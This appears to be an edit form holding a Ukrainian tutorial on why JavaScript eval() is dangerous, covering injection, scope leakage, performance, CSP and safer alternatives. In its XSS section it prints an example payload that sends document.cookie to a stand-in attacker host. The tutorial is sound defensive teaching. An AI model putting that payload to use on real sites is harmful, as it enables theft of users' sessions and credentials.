Запропонувати правкуПокращити цю статтюДопрацюйте відповідь до «Чому eval() небезпечний». Ваші зміни проходять модерацію перед публікацією.Потрібне підтвердженняКонтентЩо ви змінюєте🇺🇸EN🇺🇦UAПереглядЗаголовок (UA)Коротка відповідь (UA)**`eval(code)` приймає рядок з JavaScript-кодом і виконує його як звичайний код у поточному контексті виконання, тобто перетворює дані на код.** Саме це й робить її небезпечною: якщо у рядок потрапляє будь-що від користувача, зловмисник виконає довільні команди від імені вашого застосунку, отримає доступ до всіх змінних у видимій області, до `document.cookie` і до токенів авторизації, це класичний XSS або remote code execution. Крім безпеки, є ще три проблеми: рушій (V8, SpiderMonkey, JavaScriptCore) не може оптимізувати код, поряд з яким є `eval()`, тому JIT та inline-оптимізації вимикаються; поведінка різниться для прямого і непрямого виклику, що робить код непередбачуваним; сувора Content Security Policy без `unsafe-eval` просто забороняє виклик. Майже завжди є безпечніша заміна: `JSON.parse()`, доступ до методу за ключем, `Map` або `switch`. ```javascript const secret = 'myToken123'; eval('console.log(secret)'); // prints the secret: eval sees the whole scope ``` **Ключове:** `eval()` виконує довільний рядок як код з повним доступом до області видимості, тому ніколи не подавайте туди дані, яким не можна довіряти.Показується над повною відповіддю для швидкого нагадування.Відповідь (UA)Зображення**`eval()` приймає рядок JavaScript-коду і виконує його як звичайний код під час роботи програми.** Це буквально міні-інтерпретатор JavaScript усередині JavaScript, і саме тому він перетворює будь-які дані на виконуваний код з усіма наслідками для безпеки. ## Теорія ### TL;DR - `eval(code)` виконує рядок як код у **поточному контексті виконання**. - Якщо в рядок потрапляє ввід користувача, це XSS або remote code execution. - `eval()` бачить усі змінні поточної області видимості, тобто ламає ізоляцію. - Рушій не може оптимізувати такий код, JIT і inline-оптимізації вимикаються. - Прямий і непрямий виклик працюють у різних областях видимості. - Сувора CSP без `unsafe-eval` забороняє виклик, і браузер кидає помилку. - `new Function()` має ті самі ризики, бо теж виконує рядок як код. ### Швидкий приклад ```javascript eval("console.log('Hello, world!')"); // the string is executed as code const userInput = prompt('Enter something:'); eval(userInput); // never do this: the user decides what your app runs ``` ### Ризик 1: XSS і виконання довільного коду Якщо в `eval()` потрапляє ввід користувача, це катастрофа. Достатньо ввести: ```javascript alert('Hacked!'); ``` і код виконається. У гіршому випадку: ```javascript fetch('https://attacker.example.com/steal?cookies=' + document.cookie); ``` Зловмисник отримує куки користувача і токен авторизації. Це називається **XSS (Cross-Site Scripting)** або **Remote Code Execution**. ### Ризик 2: порушення ізоляції області видимості `eval()` виконується **у поточному контексті**, тобто має доступ до всіх змінних і функцій вашого скрипта: ```javascript const secret = 'myToken123'; eval('console.log(secret)'); // prints the secret ``` Якщо хтось впровадить свій код, він отримає повний доступ до внутрішнього стану застосунку. ### Ризик 3: втрата оптимізації і непередбачувана область видимості Сучасні рушії (V8, SpiderMonkey, JavaScriptCore) сильно оптимізують код під час компіляції. Але поруч з `eval()` рушій не може передбачити, який код виконається, тому оптимізацію доводиться вимикати. Наслідки: - код працює повільніше; - garbage collector втручається частіше; - inline та JIT-оптимізації вимикаються. Окрема пастка, різниця між прямим і непрямим викликом. Прямий виклик працює в поточній області: ```javascript let x = 1; eval('x = 10'); console.log(x); // 10 ``` Непрямий виклик, наприклад через `(0, eval)(...)`, працює у **глобальній області**: ```javascript let x = 1; (0, eval)('x = 10'); console.log(x); // 1 console.log(window.x); // 10 ``` Через це код стає непередбачуваним і важким для налагодження. ### Безпечні альтернативи і CSP Найчастіше `eval()` намагаються використати, щоб розібрати JSON, викликати функцію за іменем або обчислити вираз з рядка. Усі ці задачі мають безпечні відповідники: | Задача | Безпечна альтернатива | | --- | --- | | Розбір JSON | `JSON.parse(str)` | | Виклик функції за іменем | `obj[funcName]()` | | Динамічна логіка | `Map` або `switch` | | Шаблони | template literals (рядки з підстановкою) | | Математичні вирази | окремий парсер (`math.js`, `expr-eval`) | Конструктор `Function` теж небезпечний. Іноді думають, що `new Function()` безпечніший, але він **так само виконує рядок як код**: ```javascript const sum = new Function('a', 'b', 'return a + b'); console.log(sum(2, 3)); // 5 ``` Працює, але якщо туди потраплять дані від користувача, ризик той самий, що й з `eval()`. Крім того, `eval()` не можна використати під суворою **Content Security Policy**. Якщо у HTTP-заголовках вказано: ```text Content-Security-Policy: script-src 'self' ``` то при спробі викликати `eval()` браузер просто кине помилку: ```text Refused to evaluate a string as JavaScript because 'unsafe-eval' is not allowed ``` Порівняння поганого і прийнятного підходу. Погано: ```javascript function runExpression(expr) { return eval(expr); } runExpression('2 + 3 * 4'); ``` Краще, з попередньою перевіркою допустимих символів: ```javascript function safeEval(expr) { const allowed = /^[0-9+\-*/().\s]+$/; if (!allowed.test(expr)) throw new Error('Invalid characters'); return Function(`"use strict"; return (${expr})`)(); } console.log(safeEval('2 + 3 * 4')); // 14 ``` Підсумок ризиків: | Проблема | Чому небезпечно | | --- | --- | | Вразливість до XSS | Виконує довільний код | | Порушує ізоляцію | Доступ до всіх змінних | | Повільно | Вимикає оптимізацію рушія | | Непередбачувано | Різна область видимості у прямого і непрямого виклику | | Несумісно з CSP | Заборонено на сайтах із суворою політикою | ### Типові помилки - **Розбір JSON через `eval()`.** Класична стара звичка; `JSON.parse()` і швидший, і не виконує код. - **Віра в те, що `new Function()` безпечний.** Це той самий механізм, лише з власною глобальною областю видимості. - **Фільтрація «поганих слів» у рядку.** Чорні списки обходяться; єдиний надійний підхід, це біла мова допустимих символів або повна відмова від виконання рядка. - **`eval()` для виклику функції за іменем.** Замість `eval('obj.' + name + '()')` пишіть `obj[name]()`, це і безпечно, і читабельно. - **Ігнорування непрямого виклику.** `(0, eval)(str)`, `window.eval(str)` і `setTimeout('код')` теж виконують рядок як код, часто у глобальній області. - **Додавання `unsafe-eval` у CSP, щоб «запрацювало».** Це знімає саме той захист, який мав врятувати застосунок від впровадженого коду.Для рев’юераПримітка для модератора (необов’язково)Бачить лише модератор. Прискорює рев’ю.